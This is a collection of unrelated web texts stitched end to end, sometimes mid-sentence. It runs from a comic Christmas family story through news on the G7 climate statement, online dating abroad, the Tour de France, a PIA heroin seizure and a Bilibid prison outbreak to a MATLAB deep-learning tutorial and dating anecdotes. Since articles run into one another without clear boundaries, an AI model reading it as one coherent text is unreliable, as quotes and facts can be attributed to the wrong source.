Mom and Dad argued for a while and Grandma Swenson scolded Dad for yelling at Mom.
"You didn't even bring home a Christmas bonus!" she sneered.
Dad reached into his pocket and took out the lighter. He flipped open the lid and fired it up. He waved the flame at Grandma.
"Yeah?" he said. Then he got a funny look in his eyes, put on his hat, and went into the garage.
"You want a tree? You'll have a damn tree!" he yelled from the garage.
Mom tried to cover up all the arguing by gathering everybody into the living room to make a chain out of construction paper. It was kind of fun except for all the glue on the carpet. Uncle Dave was still laughing about Dad falling on his butt, and he kept showing his exactly how Dad fell and landed. He started laughing twice as hard when he saw Dad out the window.
"Clark!" Mom screamed. She ran to the door and flung it open.
"Get inside here! Right now!"
"You want a tree? You'll get a damn tree! "
Dad was chopping down one of the pine trees in the front yard. Mom ran upstairs crying and Aunt Martha went up with her.
"What an irresponsible goofball," Grandpa Swenson said, shaking his head.
"Well, if your damn daughter hadn't hounded him so bad all these years, he wouldn't be out there now!" Grandpa Pete said, defending Dad.
Dad brought the tree into the garage and attached the stand. He was in a much better mood. He always is after he does something really stupid.
I had to take that tree down anyway," he told me. "May as well save twenty-five bucks, huh?"
"We've got a lot of pine trees, Dad."
"What do you think the pioneers and old-timers did? Go to a church Christmas-tree lot? Heck, no. They used one of their own trees."
After a while Mom came downstairs, and the tree was so pretty and Dad's talk about pioneers and oldtimers fit so well with the idea of a fun old-fashioned Christmas that Mom gave him a kiss and said she was sorry, and all the cheer and stuff came back and lasted until the bird flew out of the tree.
"I didn't pick a tree with a bird in it!" Dad shouted at Mom as he chased the bird around the living room with a paper bag.
"Are you nuts?" Uncle Dave said. "You'll never catch a bird in a bag. You need a broom!"
"Don't kill it, Daddy!" Darby shrieked. "It's somebody's state bird!"
"Eek! Cover your hair!" Audrey screamed. "It'll lay eggs!"
"That's a bat," I told her.
"I'm not taking chances!"
"Open the windows!" Dad yelled as the bird swooped back and forth across the living room.
"It's freezing cold outside!" Grandma Swenson said.
"Well, go upstairs!"
"Don't be a snoot!"
Uncle Dave came running into the living room with a broom and in a matter of seconds put three big broom marks on the walls. Mom grabbed the broom away from him.
"I just had these walls painted! Darn you!"
"He was just trying to help!" Aunt Martha said.
"Well, help he didn't!"
"We're sorry! If Clark hadn't been so cheap, you wouldn't have a bird in your living room!"
Dad heard that, and he turned to Aunt Martha and gave her a dirty look that was dirtier than the marks on the wall. And Aunt Martha gave him one back.
"There he goes!" Grandpa Swenson yelled as the bird flew out the living room window.
"Here he comes!" yelled Grandpa Pete.
The bird had flown a big loop from the front of the house around to the back and in through the opposite windows and was back in the house again, swooping up and back.
"Here he comes!" Dad yelled to Grandpa Swenson. The bird whooshed across the living room. Grandpa Swenson slammed the window shut just a split second before the bird got all the way out.
"Chiiiiiiirp."
By the time the problem was all over and the bird had been flicked out in the yard, it was just about time for Dad and Uncle Dave to go pick up Aunt Hazel. Aunt Hazel, by the way, was older than even my grandparents, and nobody was really sure how she got to be an aunt of ours, but she'd been around for so many Christmases that it didn't make any difference anymore. She was very nice and just sort of sat there in her seat and watched everything. She always brought over presents that nobody liked. I think she just wrapped up stuff she had around the house. When I was seven she gave me a bib, a rattle, and a box of handkerchiefs.
"Anyone for oyster stew?" Mom called from the kitchen. Everybody |
deficit to one.
“The game could have really gone south after that point [Rapids third goal] so I’m impressed with the fight from the group to get it back to 3-2,” Barrett said.
“We want to be competitive in every single game we play. We want to get to the last 10 minutes, to the last kick of the game with a chance to get something from every single game.”The U.S. refused to sign onto a statement with other G7 countries to commit to the implementation of the Paris climate agreement, which President Donald Trump promised to withdraw from on the campaign trail.
Secretary of Energy Rick Perry said the U.S. “is in the process of reviewing many of its policies and reserves its position on this issue, which will be communicated at a future date,” Italy’s industry and energy minister Carlo Calenda said in a statement.
Calenda said other G7 members “reaffirmed their commitment towards the implementation of the Paris Agreement to effectively limit the increase in global temperature well below 2°C above pre-industrial level.”
The Trump administration would not sign onto a statement mentioning Paris, since the president is still deciding whether or not to keep his campaign pledge. Perry also wanted the G7 to include support for coal and natural gas in its statement.
“Therefore, we believe it is wise for countries to use and pursue highly efficient energy resources,” Perry said in a statement after his meeting in Rome with energy ministers from Canada, France, Germany, Italy, Japan, the UK and the European Union.
Perry specifically pushed for a commitment to “[h]igh efficiency, low-emission coal and natural gas with adequate financing from multi-lateral development banks and private sector investment.”
Perry also advocated for “[a]dvanced civil-nuclear technologies that are proliferation resistant, produce little to no waste and ensure safety.”
“Innovation is also a top priority for the Trump Administration,” Perry said. “We are committed to developing, deploying and commercializing breakthrough technologies and developing the necessary policies that will help renewables become competitive with traditional sources of energy.”
Italy, which hosted this year’s G7 meeting, pushed to include the Paris agreement in a policy statement member countries typically sign after these meetings end. No statement was signed since Perry couldn’t commit to backing Paris.
The Paris agreement went into effect in 2016, committing United Nations members to reduce greenhouse gas emissions blamed for global warming. President Barack Obama committed the U.S. to cut emissions 26 to 28 percent by 2025.
Trump promised to withdraw from the Paris agreement on the campaign trail, and the president has already issued executive orders to dismantle the regulatory regime Obama relied on to meet his Paris pledge.
The White house is split on whether or not to keep Trump’s campaign pledge. On one side, Ivanka Trump, White House aide Jared Kushner and Secretary of State Rex Tillerson support remaining in Paris.
White House Chief Strategist Steve Bannon and Environmental Protection Agency Administrator Scott Pruitt oppose the Paris agreement.
European diplomats have been lobbying the Trump administration to stay in the Paris agreement, touting the potential jobs created by expanded green energy use.
Most Republicans oppose the Paris agreement, but at least one GOP lawmakers suggested Trump should stay in the agreement in exchange for more subsidies for clean coal technology.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.“I was in love—and leaving in four days.” Leemore, a native New Yorker, was in Paris, of course.
“I met Nicolas at a party in Montmartre,” she tells me. “On our first date, we went to the theater, where he held my hand the whole time. He then took me to dinner, where we kissed in the terrasse as the waiter literally sang to us.”
Such is Paris, where men, Leemore says, take a spontaneous approach to romance—her date with Nicolas was typical of her time there. American men, she said, “simply aren’t romantic.”
That might be true. But French spontaneity is bad news for proprietors of online dating, especially American and British online-dating companies that have struggled to appeal to international consumers. Cupid PLC, the U.K.’s No. 1 dating agency and the owner of Cupid.com, burned a lot of money when it tried to expand its BeNaughty website with becoquin.fr in France and gibsmir.de in Germany. Match.com sold its entire European business to the French site Meetic.com. [Editor’s note: Match.com and Newsweek and The Daily Beast are owned by IAC.]
These companies were sometimes felled by practical idiosyncrasies. For example, Henning Wiechers, from Leading Dating Sites, said many American online dating companies initially offered credit cards as the sole payment method in Europe, not knowing that only 25 percent of Germans own them.
Local attitudes towards online dating can also be difficult to parse. The French don’t really “do” online dating, a Parisian woman told me—that is, aside from AdopteUnMec.com, “which is kind of for one-night stands,” she says. “It’s not OK to use that website.”
Australians take a more relaxed approach to dating. “In Australia, you can never really be sure if you are on a date or you are just hanging out as friends,” says Katrina, an Australian who spent a year in Texas. “In America, you know you are going on a romantic date, because you are asked to do so in this surprisingly formal way.” Another Australian, Andrew, told me that he found it hard to meet new people because of the lack of a formal dating culture. He tried online dating, but he says that it is a taboo for young Australians. “People are really ashamed to try it,” he says. “They won’t admit to it.”
Taiwan offers a more conservative scene. Potential partners are mainly set up through friends, and romance must be found within one’s social circle. “The whole culture of going to bars and flirting with strangers is considered kind of weird,” explains Kevin, who is from Taiwan.
“Without a strong understanding of Chinese users’ behavior, which is influenced by Chinese culture, tradition, and economic development, a foreign competitor would really struggle to get it right,” warns Shang Koo, the chief financial officer of Jiayuan.com, China’s largest online-dating platform.
According to David Evans, an industry consultant and the editor of Online Dating Insider, cyberromance will rapidly develop across Asia and throughout the rest of the world in the next few years, due to increasing Internet access. Mark Brooks, another industry consultant and the editor of Online Personals Watch, predicts that the Chinese online-dating industry alone will generate $350 million in revenue in 2014 and forecasts growth in such developing markets as Russia and Latin America.
That’s why stories of idiosyncrasies and romantic aspirations of the local consumer do not just interest anthropology students. To maximize chances of success, online dating companies have to tailor their websites to specific customs, and uncovering those quirks can require arduous research. Gian Gonzaga, chief scientist for eHarmony, sent out thousands of questionnaires in countries including Brazil, Australia, and the U.S.
“We found Brazilian couples value passion the most,” Gonzaga says. “The importance of similar levels of spirituality is highest in the States.” EHarmony then adjusted its websites’ algorithms to reflect Gonzaga’s findings.
Paul Hollander, professor emeritus of sociology at the University of Massachusetts, Amherst, attributes the popularity of online dating in America to its unique national character. “Americans are a somewhat unusual combination of the romantic and practical. They are great believers [that] if they use the proper methods—in dating or getting rich—they will succeed.”
Sometimes an online-dating company is surprised to find that its product appeals to a demographic it did not originally intend to target. David Evans explained that StepOut originally launched in New York—until it noticed that traffic from India kept rising. Now it has 4 million users there. Indians are accustomed to arranged marriages, and StepOut focused on “friendship,” a term young Indians are comfortable with.
The online-dating industry is continuing to expand its borders, and the science of online matchmaking is advancing in tandem. Helen Fisher, an anthropology professor at Rutgers University and the chief scientist for Match.com, is researching how traits linked with the activities of testosterone, dopamine, estrogen, and serotonin influence attraction—with the goal of facilitating matches between people with similar or complementary brain chemistry.
Fortunately for Match.com, Ficher’s research will be applicable across the globe. “When looking at love across different cultures, our basic biology doesn’t change,” Fisher said. Finally, a romantic thought for Valentine’s Day. Dating behavior may differ internationally, but we are all chemically identical in love.There's always a collective sigh of relief from the survivors of any Tour de France once the last mountain is climbed and this year has been no exception. There are a lot of tired bodies out there who are just hanging on, hoping to see the Eiffel Tower and though the riders might not have been able to see Paris from the top of Pla d'Adet, it would certainly have felt like it once they crossed the finishing line on the last day of the Pyrenees.
However whilst there's a certain happiness amongst the guys doing the pedalling to see the end of the big climbs, in the team cars there are many principals who will have been taking stock of their situation and then reaching for the worry beads. The time trial would just have confirmed what they didn't want to admit before they had to.
The miserable are …......
BMC might seem to be involved in the GC battle with Tejay van Garderen and he might be up to 5th after luck went his way in the time trial but when riders say they are dreaming of a top five placing before the Tour starts what they are really thinking is they are good enough for a podium. That scenario never looked like happening for the American. Too often he's seen the front of the race leave him behind when it was crunch time. Some stages he was strong enough to be in the chase of Nibali once the sort out had happened but when you come to the Tour secretly expecting a podium in Paris that's not good enough. You have to be with the number one guy at least a couple of times even if it's only to be dropped in the final push, at least you will have showed some sparkle. TVG has been missing the cut, then limiting his losses and that sums it up. Limited.
Europcar were actively seeking something, anything from this year’s race. Brian Coquard started well in the first week, mixing it with the big boys in the sprints but then it all went pear shaped. Tommy Voeckler made the breaks with regularity, as did his sidekick Cyril Gautier, but their companions of the days were consistently better, smarter or fresher. They probably smelt the desperation. Their GC hope, Pierre Rolland, is worn out after doing the Giro and can barely get out the saddle.
Sky are sixth in the team classification and I was surprised by that, I thought they were worse. Much worse. They've been shocking considering this is the outfit which dominated the last two editions of the Tour. With Froome gone, Richie Porte tried to step into the main man's shoes but that lasted one big day and then it was over. Since then we've seen a lack of flexibility. It's as if the domestiques, even the delux ones, that were going to be on the front all day towing Froome along have lost the ability to race for themselves and are stuck at one speed unable to go with an acceleration or make the difference.
Nieve and Kiryenka don't seem to have all the zip trained out of them just yet but they chose the wrong days to try their luck. It would be all too easy to say there was no plan B, even though they were warned in advance of this eventuality but the most disappointing thing has been the realisation that they have no-one who can go in the break and be expected to win from that situation. Wiggins might have been sidelined by the ambitions of Froome but Sky have missed guys like Kennaugh and Boassen Hagen in their line-up.
Trek, otherwise known as Team Schleck, and as soon as Andy went home all hope left them. Actually that's not true, as they had to know he was a gamble waiting to go wrong but as one brother can't be without the other what choice did they have. Harsh it may be but once Fabian Cancellera didn't win the cobbled stage all hope left them. They haven't troubled the GC fight once or the stage victories for that matter and though they have been in a few escapes, if Jensie hadn't worn the climbers jersey for a day, then from podium visits no-one have noticed their presence. Zubeldia is 8th apparently.
Lampre came to the Tour with Rui Costa as their leader but leave the race with little reward. Chris Horner attacked once and then said he was aiming for the Vuelta. So its that it? The Tour is training for the Italian squad because I've always thought they got sent to France as punishment for not doing well at home. Although Rui Costa was likely to make the top ten (just) until the curse of the rainbow jersey put paid to that idea, from their showing this time around I've yet to see anything that changes my perception that the Tour holds no pleasure for them at all.
IAM Cycling might just as well be named 'I AM doing the best I can but it's not enough'. Swiss Champion Martin Elmiger is excused as he's been seen a number of times at the front of the race flying the flag but the other riders have been invisible. Haussler briefly showed his face in Nîmes but Sylvain Chavanel has been a shadow of the rider who wore the yellow jersey during 2010.
Cofidis almost always had a man in the escape and yet nothing to show for it at the end of the day. For a credit company, that's a disappointing return on investment. Rein Taarmäe hasn't really put one foot in front of the other and though they often had riders survive the first selection down to 40 souls, the next acceleration saw the men in red left to their own devices. With no interests in GC and no interest in stage wins there has to be a monetary pun in there somewhere.
Garmin had to re-route after losing Andrew Talansky and if it wasn't for the epic close call of Jack Bauer at Nîmes and the face saving solo from Ramunas Navardauskas on stage 19, they would be deep in the brown stuff. For the peloton Dandies who like their blues, it's not been a great show. When you look at the results they are behind Bretagne in the team standings so though it could have been worse it's not by much.
Are Orica GreenEdge really the team that had such a fabulous start to the Giro? Other than wiping out Mark Cavendish on the first day, there hasn't been one headline moment. Young Simon Yates was the only beacon of light in an otherwise dismal showing from the Aussies, and Gerrans never bounced back from his misfortunes and no-one else stepped up.GM won’t be producing a right-hand drive version of the Opel Ampera-e, but it has confirmed that a right-hand-drive electric car is under development for the future.
The official line regarding the Ampera-e is that the numbers just didn’t stack up.
“When the Chevrolet Bolt [which the Ampera-e is based on] was developed years ago, I think the whole electro-mobility market at the time was very tiny and niche,” Tina Muller, Opel’s marketing boss, told us at the Paris motor show. “The first focus was on the majority of the markets and the US and most of Europe are obviously left-hand [drive].”
The good news for anybody looking to combine a Vauxhall badge with electro-fuelled propulsion is that the company has already reconsidered its decision to exclude Britain, with Muller confirming that a right-hand drive electric model is under development.
“Now we realise that electro-mobility will become bigger and bigger and that’s why we need to do a second step, one that will include right-hand drive,” she said, “I can’t tell you exactly when it will hit the market, but for sure it’s part of our plans.”
She refused to confirm whether this will be a RHD version of the Ampera-E or a separate EV model, but regardless, it looks like the UK is going to have to wait for it.KARACHI:At least 15 kilogrammes of heroin was seized from a Pakistan International Airlines flight at Karachi airport on Tuesday.
The heroin was seized during an intelligence-based raid with assistance from Anti Narcotics Force. “The matter is currently being investigated by all agencies concerned,” a PIA spokesperson said.
In December last year, PIA thwarted an attempt to smuggle 15 kilogrammes of heroin through a Jeddah-bound flight.
“PIA’s security and vigilance team was on its routine pre-departure search of a B-777 aircraft at Jinnah International Airport when it recovered approximately 15kg of heroin,” spokesperson Danyal Gilani said in a statement.
“The flight, PK-7121, was scheduled to travel from Karachi to Jeddah,” he added.
Gilani further said officials of Airport Security Force (ASF), Anti-Narcotics Force (ANF) and Pakistan Customs were also part of the search team.Tractor crashes into bedroom, injuring sleeping Lyndhurst couple
Updated
A tractor has ploughed into a home at Lyndhurst, south-east of Melbourne, injuring a couple asleep in bed at the time.
The driver fled the scene and police believe the tractor, which had a load of seedlings on the back, was stolen.
A 34-year-old man and a 41-year-old woman were in their bedroom when the tractor smashed into the house on Castawellan Street around 12:45am.
Sergeant Adam Ferguson from Victoria Police said it was an unusual situation and the couple were extremely lucky.
"It appears it's a tractor from a market garden around the corner, and possibly kids joy-riding and have lost control and it's gone into the front bedroom," Sergeant Ferguson said.
"It's quite surprising the two people have survived. They were lying in bed and the tractor pushed them up against the back wall.
"It's a big John Deere tractor that probably weighs 30 or 40 tonnes and it's pretty much ended up lying on top of them.
"It's one we haven't seen [before]."
The couple suffered minor injuries and were taken to Dandenong Hospital.
A 14-year-old boy and a 17-year-old girl were asleep at the other end of the house and were not injured.
Police believe the driver jumped from the tractor prior to the crash and ran from the scene.
A search of the area was conducted by local police but they were unable to find the person responsible.
Topics: road, accidents, disasters-and-accidents, crime, law-crime-and-justice, lyndhurst-3975, melbourne-3000, vic
First postedAmong the tidbits that coming out from Jo Becker’s new book on marriage equality, “Forcing the Spring,” is this one: the federal judge who struck down California’s Proposition 8 as unconstitutional once underwent therapy to cure himself of being gay.
Vaughn Walker only came out as gay after he formally retired from the bench, but it was an open secret that he was gay while he was hearing the Prop 8 case. What no one knew apparently is that Walker’s long journey as a gay man included trying to rid himself of his feelings. In Becker’s book, Walker recounts how in the late 1970s, when he was in his 30s, he chose “to see a psychiatrist about my … affliction.”
Ultimately, the shrink declared Walker cured because he had never had sex with another man. Walker says he “badly wanted to believe it was true,” in no small part because of the harm being gay might meant to his career. Walker continued to date women and only entered into his first relationship with a man when he was in his late 30s.
Walker’s therapy sessions came back to him during the Prop 8 trial when Ryan Kendall testified about having to undergo conversion therapy as a 14-year-old, finally running away from home and struggling with depression for a decade. Kendall testified as evidence that sexual orientation is immutable. Walker says that the testimony was “the most touching” of the trial.
Needless to say, Walker has been vilified for anti-marriage forces for not recusing himself from the Prop 8 trial. Walker dismissed the complaints as unfounded. African American judges hear race discrimination cases all the time, while female judges hear cases charging gender bias,” he says. “Why shouldn’t a gay man hear the challenge to Prop. 8?”Deep learning is becoming ubiquitous. With recent advancements in deep learning algorithms and GPU technology, we are able to solve problems once considered impossible in fields such as computer vision, natural language processing, and robotics.
Deep learning uses deep neural networks which have been around for a few decades; what’s changed in recent years is the availability of large labeled datasets and powerful GPUs. Neural networks are inherently parallel algorithms and GPUs with thousands of cores can take advantage of this parallelism to dramatically reduce computation time needed for training deep learning networks. In this post, I will discuss how you can use MATLAB to develop an object recognition system using deep convolutional neural networks and GPUs.
Why Deep Learning for Computer Vision?
Machine learning techniques use data (images, signals, text) to train a machine (or model) to perform a task such as image classification, object detection, or language translation. Classical machine learning techniques are still being used to solve challenging image classification problems. However, they don’t work well when applied directly to images, because they ignore the structure and compositional nature of images. Until recently, state-of-the-art techniques made use of feature extraction algorithms that extract interesting parts of an image as compact low-dimensional feature vectors. These were then used along with traditional machine learning algorithms.
Enter Deep learning. Deep convolutional neural networks (CNNs), a specific type of deep learning algorithm, address the gaps in traditional machine learning techniques, changing the way we solve these problems. CNNs not only perform classification, but they can also learn to extract features directly from raw images, eliminating the need for manual feature extraction. For computer vision applications you often need more than just image classification; you need state-of-the-art computer vision techniques for object detection, a bit of domain expertise, and the know-how to set up and use GPUs efficiently. Through the rest of this post, I will use an object recognition example to illustrate how easy it is to use MATLAB for deep learning, even if you don’t have extensive knowledge of computer vision or GPU programming.
Example: Object Detection and Recognition
The goal in this example is to detect a pet in a video and correctly label the pet as a cat or a dog. To run this example, you will need MATLAB®, Parallel Computing Toolbox™, Computer Vision System Toolbox™ and Statistics and Machine Learning Toolbox™. If you don’t have these tools, request a trial at www.mathworks.com/trial. For this problem I used an NVIDIA Tesla K40 GPU; you can run it on any MATLAB compatible CUDA-enabled NVIDIA GPU.
Our approach involves two steps:
Object Detection: “Where is the pet in the video?” Object Recognition: “Now that I know where it is, is it a cat or a dog?”
Figure 1 shows what the final result looks like.
Using a Pretrained CNN Classifier
The first step is to train a classifier that can classify images of cats and dogs. I could either:
Collect a massive amount of cropped, resized and labeled images of cats and dogs in a reasonable amount of time (good luck!), or Use a model that has already been trained on a variety of common objects and adapt it for my problem.
For this example, I’m going to go with option (2) which is common in practice. To do that I’m going to first start with a pretrained CNN classifier that has been trained on the ImageNet dataset.
I will be using MatConvNet, a CNN package for MATLAB that uses the NVIDIA cuDNN library for accelerated training and prediction. [To learn more about cuDNN, see this Parallel Forall post.] Download and install instructions for MatConvNet are available on its home page. Once I’ve installed MatConvNet on my computer, I can use the following MATLAB code to download and make predictions using the pretrained CNN classifier. Note: I also use the cnnPredict() helper function, which I’ve made available on Github.
%% Download and predict using a pretrained ImageNet model % Setup MatConvNet run(fullfile('matconvnet-1.0-beta15','matlab','vl_setupnn.m')); % Download ImageNet model from MatConvNet pretrained networks repository urlwrite('http://www.vlfeat.org/matconvnet/models/imagenet-vgg-f.mat', 'imagenet-vgg-f.mat'); cnnModel.net = load('imagenet-vgg-f.mat'); % Load and display an example image imshow('dog_example.png'); img = imread('dog_example.png'); % Predict label using ImageNet trained vgg-f CNN model label = cnnPredict(cnnModel,img); title(label,'FontSize',20)
The pretrained CNN classifier works great out of the box at object classification. The CNN model is able to tell me that there is a beagle in the example image (Figure 2). While this is certainly a great starting point, our problem is a little different. I want to be able to (1) put a box around where the pet is (object detection) and then (2) label it accurately as a dog or a cat (classification). Let’s start by building a dog vs cat classifier from the pretrained CNN model.
Training a Dog vs. Cat Classifier
The objective is simple. I want to solve a simple classification task: given an image I’d like to train a classifier that can accurately tell me if it’s an image of a dog or a cat. I can do that easily with this pretrained classifier and a few dog and cat images.
To get a small collection of labeled images for this project, I went around my office asking colleagues to send me pictures of their pets. I segregated the images and put them into separate ‘cat’ and ‘dog’ folders under a parent called ‘pet_images’. The advantage of using this folder structure is that the imageSet function can automatically manage image locations and labels. I loaded them all into MATLAB using the following code.
%% Load images from folder % Use imageSet to load images stored in pet_images folder imset = imageSet('pet_images','recursive'); % Preallocate arrays with fixed size for prediction imageSize = cnnModel.net.normalization.imageSize; trainingImages = zeros([imageSize sum([imset(:).Count])],'single'); % Load and resize images for prediction for ii = 1:numel(imset) for jj = 1:imset(ii).Count trainingImages(:,:,:,jj) = imresize(single(read(imset(ii),jj)),imageSize(1:2)); end end % Get the image labels trainingLabels = getImageLabels(imset); summary(trainingLabels) % Display class label distribution
Feature Extraction using a CNN
What I’d like to do next is use this new dataset along with the pretrained ImageNet to extract features. As I mentioned earlier, CNNs can learn to extract generic features from images. These features can be used to train a new classifier to solve a different problem, like classifying cats and dogs in our problem.
CNN algorithms are compute-intensive and can be slow to run. Since they are inherently parallel algorithms, I can use GPUs to speed up the computation. Here is the code that performs the feature extraction using the pretrained model, and a comparison of multithreaded CPU (Intel Core i7-3770 CPU) and GPU (NVIDIA Tesla K40 GPU) implementations.
%% Extract features using pretrained CNN % Depending on how much memory you have on your GPU you may use a larger % batch size. I have 400 images, so I choose 200 as my batch size cnnModel.info.opts.batchSize = 200; % Make prediction on a CPU [~, cnnFeatures, timeCPU] = cnnPredict(cnnModel,trainingImages,'UseGPU',false); % Make prediction on a GPU [~, cnnFeatures, timeGPU] = cnnPredict(cnnModel,trainingImages,'UseGPU',true); % Compare the performance increase bar([sum(timeCPU),sum(timeGPU)],0.5) title(sprintf('Approximate speedup: %2.00f x ',sum(timeCPU)/sum(timeGPU))) set(gca,'XTickLabel',{'CPU','GPU'},'FontSize',18) ylabel('Time(sec)'), grid on, grid minor
As you can see the performance boost you get from using a GPU is significant, about 15x for this feature extraction problem.
The function cnnPredict is a wrapper around MatConvNet’s vl_simplenn predict function. The highlighted line of code in Figure 5 is the only modification you need to make to run the prediction on a GPU. Functions like gpuArray in the Parallel Computing Toolbox make it easy to prototype your algorithms using a CPU and quickly switch to GPUs with minimal code changes.
Train a Classifier Using CNN Features
With the features I extracted in the previous step, I’m now ready to train a “shallow” classifier. To train and compare multiple models interactively, I can use the Classification Learner app in the Statistics and Machine Learning Toolbox. Note: for an introduction to machine learning and classification workflows in MATLAB, check out this Machine Learning Made Easy webinar.
Next, I will directly train an SVM classifier using the extracted features by calling the fitcsvm function using cnnFeatures as the input or predictors and trainingLabels as the output or response values. I will also cross-validate the classifier to test its validation accuracy. The validation accuracy is an unbiased estimate of how the classifier would perform in practice on unseen data.
%% Train a classifier using extracted features % Here I train a linear support vector machine (SVM) classifier. svmmdl = fitcsvm(cnnFeatures,trainingLabels); % Perform crossvalidation and check accuracy cvmdl = crossval(svmmdl,'KFold',10); fprintf('kFold CV accuracy: %2.2f
',1-cvmdl.kfoldLoss)
svmmdl is my classifier that I can now use to classify an image as a cat or a dog.
Object Detection
Most images and videos frames have a lot going on in them. In addition to a dog, there may be a tree or a raccoon chasing the dog. Even with a great image classifier, like the one I built in the previous step, it will only work well if I can locate the object of interest in an image (dog or cat), crop the object and then feed it to a classifier. The step of locating the object is called object detection.
For object detection, I will use a technique called Optical Flow that uses the motion of pixels in a video from frame to frame. Figure 6 shows a single frame of video with the motion vectors overlaid.
The next step in the detection process is to separate out pixels that are moving, and then use the Image Region Analyzer app to analyze the connected components in the binary image to filter out the noisy pixels caused by the camera motion. The output of the app is a MATLAB function (I’m going to call it findPet) that can locate where the pet is in the field of view.
Tying the Workflow Together
I now have all the pieces I need to build a pet detection and recognition system.
To quickly recap, I can:
Detect the location of the pet in new images;
Crop the pet from the image and extract features using a pretrained CNN;
Classify the features using an SVM classifier.
Pet Detection and Recognition
Tying all these pieces together, the following code shows my complete MATLAB pet detection and recognition system.
%% Tying the workflow together vr = VideoReader(fullfile('PetVideos','videoExample.mov')); vw = VideoWriter('test.avi','Motion JPEG AVI'); opticFlow = opticalFlowFarneback; open(vw); while hasFrame(vr) % Count frames frameNumber = frameNumber + 1; % Step 1. Read Frame videoFrame = readFrame(vr); % Step 2. Detect ROI vFrame = imresize(videoFrame,0.25); % Get video frame frameGray = rgb2gray(vFrame); % Convert to gray for detection bboxes = findPet(frameGray,opticFlow); % Find bounding boxes if ~isempty(bboxes) img = zeros([imageSize size(bboxes,1)]); for ii = 1:size(bboxes,1) img(:,:,:,ii) = imresize(imcrop(videoFrame,bboxes(ii,:)),imageSize(1:2)); end % Step 3. Recognize object % (a) Extract features using a CNN [~, scores] = cnnPredict(cnnModel,img,'UseGPU',true,'display',false); % (b) Predict using the trained SVM Classifier label = predict(svmmdl,scores); % Step 4. Annotate object videoFrame = insertObjectAnnotation(videoFrame,'Rectangle',bboxes,cellstr(label),'FontSize',40); end % Step 5. Write video to file writeVideo(vw,videoFrame); fprintf('Frames processed: %d of %d
',frameNumber,ceil(vr.FrameRate*vr.Duration)); end close(vw);
Conclusion
Solutions to real-world computer vision problems often require tradeoffs depending on your application: performance, accuracy, and simplicity of the solution. Advances in techniques such as deep learning have significantly raised the bar in terms of the accuracy of tasks like visual recognition, but the performance costs were too significant for mainstream adoption. GPU technology has closed this gap by accelerating training and prediction speeds by orders of magnitude.
MATLAB makes computer vision with deep learning much more accessible. The combination of an easy-to-use application and programming environment, a complete library of standard computer vision and machine learning algorithms, and tightly integrated support for CUDA-enabled GPUs makes MATLAB an ideal platform for designing and prototyping computer vision solutions.
If you enjoyed reading this post, please register for our upcoming webinar to learn more:
Deep Learning for Computer Vision with MATLAB. We will be available after the webinar to answer questions. You may also be interested in checking out these previous MATLAB posts on Parallel Forall.The current caterer of the New Bilibid Prison (NBP) has been excluded from the ongoing bidding for a new food supplier due to various contract violations, Bureau of Corrections director general Benjamin delos Santos said following a diarrhea outbreak in the national penitentiary over the weekend.
Mang Kiko Catering Services Inc. has been providing food for NBP inmates since 2008, according to Delos Santos, but “we’re in the process of investigating them for possible blacklisting.”
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Among its violations, Delos Santos said, was replacing the menu without prior approval from the NBP food committee.
A total of 974 NBP inmates came down with diarrhea starting Friday morning, with 154 requiring hospitalization due to dehydration, the official said. The inmates blamed the paksiw na bangus (milkfish stewed in vinegar) that they had for dinner on Thursday.
Initial findings of the NBP Hospital showed E. coli and amoeba in the stool samples of affected inmates, he added.
On Monday, the Department of Health sent a team to check the patients’ stool samples and test the food and water sources.
“We’re still checking if it’s inherently in the food or if it was because of the handling,” Health Secretary Paulyn Ubial said. “We also looked into the preparation area at Bilibid and there are some measures we can implement to mitigate and stop this from happening in the future.”
The local sanitation office of Muntinlupa City also conducted a test of the kitchen facilities of the caterer.
Parallel probes
“Those are independent and parallel investigations. As soon as those are finalized, only then can I make a conclusive statement as to what really caused (the diarrhea outbreak),” Delos Santos said.
Justice Secretary Vitaliano Aguirre II on Monday visited the NBP and donated 2,000 bottles of Gatorade and 4,000 pieces of bananas (saba) for the affected inmates.
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Asked about Aguirre’s statement raising the possibility that the food poisoning was deliberate, Delos Santos said anything was possible “but that’s an extreme possibility.”
He noted that the majority of the affected inmates were from the maximum security compound. Only four were from medium security, four from the reception and diagnostic center, and one from minimum security.
The NBP, which currently holds more than 24,000 inmates, with 16,000 in the maximum security compound, allots a daily food budget of P60 per inmate. —WITH A REPORT BY TINA G. SANTOS
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MOST READAt first glance, Nathan seemed damn near perfect. At least, as far as one can tell from Tinder: He was a coffee-loving “urban adventurer” from the Midwest and an entrepreneur who walked dogs on the side. Oh, and get this: a self-described feminist. Finally, a guy that gets it. So when Nathan (not his real name) matched with Alexandra Tweten, a 28-year-old woman living in Los Angeles, she was eager to start chatting. The similarities just kept piling up. Like her, he loved beer, tattoos, and pizza. In his free time, he could be found digging through all the right vinyl genres: indie rock, shoegaze, electronic, and new age. Jackpot.
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“It could have been my exact profile,” says Tweten. “These are all interests of mine as well.” Surely, the universe was somehow trolling her. But this apparent dreamboat was real. And refreshingly, he had date ideas that extended beyond the default meet-up at a bar. Perhaps they could go for a nighttime drive around Beverly Hills, or make cocktails and listen to records. Enticed by the possibilities, she mulled over her next move. Then her phone rang. “Who do you think you are!?” shouted the voice on the other end. “I was trying to explain something and you cut me off!” Unable to get a word in, Tweten winced at the angry, nonsensical barrage until the caller stopped. Figuring it was a wrong number, she hung up. The phone rang again. It was Nathan. He apologized, explaining that he had meant to call somebody else. Something about a business deal gone awry. She brushed it off, joking that, for a moment, she thought he might have been “a crazy person.” Apparently offended, he started berating her even more furiously. She hung up and dodged several more calls and texts before finally humoring him with a few minutes of her attention. Attempting to explain himself, Nathan recounted a recent encounter with a stranger: A dog he was walking had allegedly bitten the man, a heated argument ensued, and it escalated quickly. |
the population is largely Roman Catholic and divorce is illegal.
De Lima stressed that "adultery" also remains against the law in the Philippines, even though it has largely been un-enforced and is a country where many powerful men flaunt their mistresses.
Adultery and "concubinage," are punishable by at least six months in jail under Philippine law.
She said: "The (telecommunications companies) will have to do their part to ensure that illegal content and websites that are used to drive illicit conduct are not used," she said.
De Lima did not specify if they could be compelled to block the website.
Local press reports say that at least 2,500 Filipinos have already signed up to the website since its recent launch.
